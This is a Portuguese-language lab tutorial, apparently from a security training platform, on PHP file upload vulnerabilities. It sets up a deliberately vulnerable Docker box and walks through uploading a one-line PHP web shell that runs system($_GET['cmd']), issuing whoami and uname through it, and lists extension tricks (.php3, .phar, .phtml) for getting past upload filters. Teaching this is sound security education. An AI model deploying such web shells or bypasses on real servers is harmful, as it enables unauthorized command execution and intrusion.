Introdução
Este laboratório foca-se em vulnerabilidades de upload de arquivos, um problema de segurança comum em aplicações web. Você aprenderá como identificar essas vulnerabilidades, entender seu impacto potencial e explorar métodos para explorá-las. O laboratório oferece experiência prática com exemplos, permitindo que você compreenda melhor os conceitos de segurança de aplicações web e medidas defensivas.
Compreendendo as Vulnerabilidades de Upload de Arquivos
Vulnerabilidades de upload de arquivos ocorrem quando aplicações web falham em validar adequadamente os arquivos enviados. Isso pode permitir que atacantes enviem arquivos maliciosos, potencialmente levando à execução remota de código no servidor.
Vamos examinar uma implementação típica de upload de arquivos em PHP usando a função move_uploaded_file():
<?php
// A função move_uploaded_file() move um arquivo enviado para uma nova localização
// Retorna true em caso de sucesso, false em caso de falha
move_uploaded_file($file, $newloc);
Parâmetros:
$file: O arquivo enviado para mover$newloc: O caminho de destino para o arquivo
Uma implementação segura deve incluir validação adequada, como mostrado neste exemplo:
<?php
// Define as extensões de imagem permitidas
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // Obtém a extensão do arquivo
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // Menos de 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
Este código demonstra várias verificações de segurança importantes:
- Validação da extensão do arquivo
- Verificação do tipo MIME
- Limitação do tamanho do arquivo
- Tratamento de erros
Sem essas validações, atacantes poderiam potencialmente enviar arquivos maliciosos que são executados no servidor.
Identificando a Linguagem do Lado do Servidor
Antes de explorar uma vulnerabilidade de upload de arquivos, é crucial identificar a linguagem do lado do servidor usada pela aplicação web. Essa informação determina qual tipo de arquivo enviar para uma exploração bem-sucedida.
Primeiro, vamos configurar nosso ambiente de laboratório:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
Após executar este comando, verifique se o ambiente está acessível em: http://localhost:82
Métodos para identificar a linguagem do lado do servidor:
Extensões de Arquivo da URL:
- Extensões
.phpindicam PHP - Extensões
.aspou.aspxindicam ASP.NET - Extensões
.jspindicam Java Server Pages
- Extensões
Cabeçalhos do Servidor:
- Microsoft IIS normalmente executa ASP.NET
- Apache ou Nginx comumente executam PHP
- Apache Tomcat executa JSP
Você pode usar a extensão de navegador Wappalyzer para detectar automaticamente o servidor web e a linguagem de programação:
Em nosso ambiente de laboratório, você deve ver:
Web Server: Apache
Backend Language: PHP
Upload de um Web Shell
Agora que identificamos PHP como a linguagem do lado do servidor, vamos enviar um web shell PHP para executar comandos no servidor.
Uma coleção de web shells pode ser encontrada aqui:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
- Crie um arquivo de teste
phpinfo.phpno diretório/home/labex/project:
<?php phpinfo(); ?>
Envie o arquivo:
- Visite http://localhost:82/upload/example1.php
- Selecione e envie seu arquivo phpinfo.php
Verifique o upload:
- Acesse http://localhost:82/upload/images/phpinfo.php
- Você deve ver a página de informações de configuração do PHP
Crie um shell de execução de comando
shell.php:
<?php echo "Shell"; system($_GET['cmd']); ?>
Envie e teste o shell:
- Envie shell.php usando o mesmo método
- Acesse http://localhost:82/upload/images/shell.php
- Você pode ver uma mensagem de aviso (esperada sem parâmetros)
Execute comandos:
Verifique o usuário atual: http://localhost:82/upload/images/shell.php?cmd=whoami Saída esperada: www-data
Liste arquivos e informações do sistema: http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a Saída esperada: Listagem de diretórios e informações do sistema
Observação: Este laboratório demonstra a funcionalidade básica de um web shell. Tópicos avançados como reverse shells e escalonamento de privilégios são abordados em cursos mais avançados.
Contornando Restrições do Servidor (Opcional)
Algumas aplicações web implementam restrições de extensão de arquivo para evitar uploads de arquivos maliciosos. Esta seção explora métodos para contornar essas restrições.
Quando extensões .php são bloqueadas, tente extensões PHP alternativas que podem ser executáveis:
Tente enviar com a extensão
.php3:- Visite http://localhost:82/upload/example2.php
- Envie phpinfo.php3
- Acesse http://localhost:82/upload/images/phpinfo.php3
Se não for bem-sucedido, tente a extensão
.phar:- Envie phpinfo.phar
- Acesse http://localhost:82/upload/images/phpinfo.phar
Extensões comuns para tentar contornar:
- .php3
- .php4
- .php5
- .phar
- .phtml
Observação: O sucesso depende da configuração do servidor. Diferentes servidores podem permitir que diferentes extensões sejam executadas como código PHP.
Resumo
Este laboratório abordou aspectos essenciais das vulnerabilidades de upload de arquivos:
Conceitos Chave:
- Compreensão dos mecanismos de vulnerabilidade de upload de arquivos
- Identificação de linguagens de programação do lado do servidor
- Upload e execução de web shells
- Bypassing (Contornando) restrições de extensão de arquivo
Habilidades Técnicas Adquiridas:
- Detecção de linguagem do lado do servidor
- Criação e implantação de web shells
- Execução de comandos através de arquivos enviados
- Técnicas de bypass de extensão
Implicações de Segurança:
- Impacto da validação de arquivo insuficiente
- Importância das restrições de upload adequadas
- Riscos de execução do lado do servidor
Este conhecimento fundamental prepara você para tópicos avançados de segurança de aplicações web abordados em cursos subsequentes.



